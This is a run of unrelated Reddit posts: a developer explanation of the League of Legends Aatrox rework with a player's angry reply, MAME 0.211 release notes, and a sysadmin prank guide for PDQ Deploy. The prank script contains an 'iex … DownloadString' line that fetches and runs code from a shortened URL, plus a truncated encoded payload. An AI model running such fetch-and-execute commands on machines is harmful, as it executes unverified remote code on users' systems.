The 2nd change will take a bit longer and should be added sometime within a patch or two after Aatrox hits live. We have seen a lot of players asking for Aatrox to have his wings always out, as well as feedback over the loss of Aatrox's "Banner Wings." We are going to explore some options to address both of these concerns. Currently we are using Aatroxs full wings for gameplay clarity around when he is in his ultimate state, as it is very important for players playing with or against Aatrox to know when he is in his ultimate state and therefor will resurrect when killed. As such we won't be able to give him the full open wings when not in his ult since it will greatly reduce the clarity you get from a big silhouette change. With that being said we are exploring some options that would give him smaller "banner-esque" wings when not in ultimate form. We are still in early exploration on these though so they won't make it in time for his release, but we will be adding them sometime soon after.
As for all of the design feedback I will pass it over to RiotJag for some context into the design decisions we made on Aatrox:
"So first off, the brutal truth: yes, his gameplay is dramatically different from current Aatrox, and yes, that's very intentional. We've said it a lot in the past - Aatrox's basic-attack centric drain tank play pattern does not offer enough tactical variance or counterplay. He's one of the most stat-checky fighters in the game, and when he's strong he doesn't offer a whole lot of options for opponents to fight against him. It’s very illustrative that in just a patch with no direct buffs, he moved from literally not being picked in a pro game for years to becoming arguably the highest priority top laner in the game. Aatrox is the epitome of a binary champion, and seeing him in competitive play has only reinforced the need to update his gameplay.
I’ve reviewed the many suggestions I’ve seen by the community (a huge list was posted here: https://www.reddit.com/AatroxMains/comments/8qshgo/raatroxmains_upvote_this_if_you_agree_on/).
There’s a few we’re thinking about heavily, and we’ve definitely had a lot of internal discussion about keeping his wings (that’s been a popular one). I’ve already made some of the changes the community asked for (increasing AS/lvl, for instance) and I’m considering some other ones; just keep in mind that we are changing his identity on purpose, and suggestions like “revert everything” aren’t adding a whole lot to the discussion.
The second part is the feeling that we don't care about our community or how players feel about our roster. I understand why Aatrox mains feel this way, so let me be frank - even though we're trying to do our best for the entire League playerbase, we know that means that yes, we are changing something that you have grown to love and are attached to. But that's doesn’t mean we don’t care about what players want; in fact, it’s precisely what motivates us.
Live Aatrox has had some of the lowest play rates despite having a very healthy win rate for literally years. Players express their preferences to us every day - with their choices. And their choice across the board has been that they don't want to play Aatrox, despite that they definitely can win games with him. Of course if you're reading this, you're probably one of the few players who put in the time to understand Aatrox's playstyle and master something few others wanted to. The problem is we don't believe marginal shifts in Aatrox's kit would be enough to make him a healthy character who more players are excited to play.
What we did know is that the idea of the badass Darkin conqueror could appeal to many players, and we didn't deliver on him - so we owed players more. Aatrox was always meant to be a battlefield terror, wielding his blade with ease, forcing opponents to flee like insects - a fighter so fearless that he could not even be stopped by death itself. This rework is meant to still be true to that fantasy, and I hope that current Aatrox mains could find something to grab onto there. But that knowledge won't make you feel any better about how drastically his gameplay is changing with this rework. Though I believe in our goals and that new Aatrox delivers on them, at the end of the day I honestly feel personally uncomfortable displacing you. I’m sorry for that."
RiotJag
Thank you for your passion for Aatrox and the time you've invested into him. Both me and RiotJag will be around for the next day or 2 to answer as many questions as we can. Thanks!"
-------------------------
lowest play rates = change Aatrox?
Crazy? Is that the only excuse?
i had lol 20000 game, I know very well what champ is like, Other people. (taste. not Performance.)
People follow fashion. Their taste comes out, Very few.
At the LOL Champions, They use the same things that pro gamers use.
It is good if others say it is good, bad if it is bad.
I am not saying that the fashion is bad. just ... Their taste comes out, Very few.
But ... what? lowest play rates despite = It is not attractive & It is not cool & They feel they do not want to?
Do you really think so? I can not understand the way of thinking.
Let's count the total play rates of Korean servers from behind. Ivern, Rek'Sai, Skarner, Aurelion Sol, Kalista, Corki, Azir, Elise, Syndra ... Ok! Let's top it all off! Change it!
Ah. It's fucked. it's annoying. I'm tired of talking more.
I love Aatrox. But ... If today 's Aatrox hurt the fun of the game, I can understand the change of Aatrox. Like the old Poppy, Shen.
But it is not. Not at all.
I am angry that i do not know much about American swear word.
submitted by Lawpcpi to leagueoflegends [link] [comments]

MAME 0.211

MAME 0.211

As we pass the half-way point of 2019, it’s time for MAME 0.211, with all the excitement that brings. In this release, SGI Indy and MIPS RC2030 workstations have been promoted to working. This is a major milestone in RISC workstation emulation. If you’re feeling nostalgic, why not try one of them out, and install IRIX or RISC/os, respectively? This release also includes better support for the China Education Computer Apple II derivatives, along with a preliminary software list. This opens a window to Chinese classroom technology in the late ’80s and early ’90s. Speaking of software lists, we’ve added over five hundred cleanly cracked Apple II software titles, and imported a whole lot of ZX Spectrum cassette images.
Looking away from computer emulation for a moment, Game & Watch preservation keeps progressing, with the addition of Ball (the earliest Game & Watch release) and the panorama screen version of Donkey Kong Jr. The Gaelco/Salter Pro Cycle Tele Cardioline exercise system has been promoted to working, and the Pro Stepper system has been added. System 573 MP3 audio has been greatly improved in this release, and support has been added for more Bally pinball sound boards. ClawGrip added example programs from the V.R. Technologies VT03 software development kit. Gemcrush, a rare brick breaking arcade game, has been added in this release.
There are lots of other improvements, including a fix for the fatal error when switching away from MAME in Direct3D full-screen mode. You can get the source and Windows binary packages from the download page.

MAMETesters Bugs Fixed

New working machines

New working clones

Machines promoted to working

Clones promoted to working

New machines marked as NOT_WORKING

New clones marked as NOT_WORKING

New working software list additions

Software list items promoted to working

New NOT_WORKING software list additions

Source Changes

submitted by cuavas to emulation [link] [comments]

Fun Times with PDQ deploy Part 2

Fun Times with PDQ deploy Part 2 continued from https://www.reddit.com/pdq/comments/digrx3/fun_times_with_pdq_deploy_part_1/
**
CCC Stars Wars A new hope
Step 1 - Create a copy file step in pdq to copy putty.exe to the C:\ drive on host computer
Step 2 - Create a command step in pdq with C:\putty.exe telnet://towel.blinkenlights.nl/
**
DDD Rick Rolling Ascii style - by Lee Holmes for pdq - I can understand your hesitation to run it, but I did and I lived =)
  1. Create a power shell script from the below neverGonna.
  2. Create a copy step in pdq with Copy neverGonna.ps1 to host C:\
  3. create a comman step in pdq with Command: Powershell.exe -File C:\neverGonna.ps1
Make sure properties and each step is set under the options tab to run as "Logged on User"
Make sure under conditions powershell5 is selected and logged on state is set to only if user is logged on.
neverGonna script - copy to a .ps1 file/create a powershell script

# PowerShell + HTML5 prototype. Needs audio. Run: iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w") if($host.Name -ne "ServerRemoteHost") { Start-Process powershell -ArgumentList '-noprofile -noexit -command iex (New-Object Net.WebClient).DownloadString(''http://bit.ly/e0Mw9w'')' return } $data = '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